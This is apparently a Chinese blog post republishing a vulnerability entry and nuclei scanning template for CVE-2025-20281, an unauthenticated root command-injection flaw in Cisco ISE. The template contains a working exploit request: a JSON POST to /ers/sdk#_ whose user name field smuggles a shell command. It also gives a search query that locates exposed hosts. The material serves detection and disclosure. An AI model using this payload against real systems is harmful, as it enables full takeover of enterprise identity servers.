Cisco ISE/ISE-PIC Unauthenticated Remote Code Execution Vulnerability

漏洞信息

漏洞名称: Cisco ISE/ISE-PIC Unauthenticated Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-20281

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Cisco ISE(Identity Services Engine)和ISE-PIC是思科公司提供的身份服务引擎产品,广泛用于企业网络中的身份验证、授权和审计服务。这些产品通常部署在企业级网络中,用于管理网络访问控制和策略执行。由于其广泛的应用,这些产品中的安全漏洞可能会对大量企业网络构成严重威胁。该漏洞是由于特定API中对用户提供输入的验证不足,导致未经身份验证的远程攻击者能够以root权限执行任意代码。这种类型的漏洞属于命令执行漏洞,其技术根源在于应用程序未能充分验证和清理用户输入,从而允许攻击者注入恶意命令。由于攻击者无需身份验证即可利用此漏洞,且能够执行任意代码,这意味着攻击者可以完全控制受影响的系统,导致数据泄露、服务中断或其他恶意活动。此漏洞的严重性在于其高利用性和潜在的大规模影响,尤其是在企业网络中。

产品厂商: Cisco

产品名称: Cisco ISE/ISE-PIC

搜索语法: html:”Identity Services Engine”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/fd14b07079f553ea291a76f371f11c7966323c4a/http%2Fcves%2F2025%2FCVE-2025-20281.yaml

类型: projectdiscovery/nuclei-templates:github issues

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id: CVE-2025-20281

info:
name: Cisco ISE/ISE-PIC - Unauthenticated Remote Code Execution
author: pussycat0x
severity: critical
description: |
Cisco ISE and Cisco ISE-PIC contain a remote code execution vulnerability caused by insufficient validation of user-supplied input in a specific API, allowing unauthenticated remote attackers to execute arbitrary code as root.
reference:
- https://github.com/abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE
- https://github.com/grupooruss/CVE-2025-20281-Cisco
metadata:
shodan-query: html:"Identity Services Engine"
tags: cve,cve2025,cisco,ise,rce,unauth

variables:
cmd: "id"

flow: http(1) && http(2)

http:
- raw:
- |
GET /admin/login.jsp HTTP/1.1
Host: {{Hostname}}

matchers:
- type: dsl
internal: true
dsl:
- status_code == 200 && contains(body, "document.title =\'Identity Services Engine\';")
- status_code == 403 && contains(body, "<title>Identity Services Engine</title>")

- raw:
- |
POST /ers/sdk#_ HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
Connection: close

{
"InternalUser": {
"name": "pwn; {{cmd}}; #",
"password": "x",
"changePassword": false
}
}

matchers:
- type: dsl
dsl:
- regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)
- status_code == 200
condition: and



Cisco ISE/ISE-PIC Unauthenticated Remote Code Execution Vulnerability
http://example.com/2025/07/25/github_1044759235/
作者
lianccc
发布于
2025年7月25日
许可协议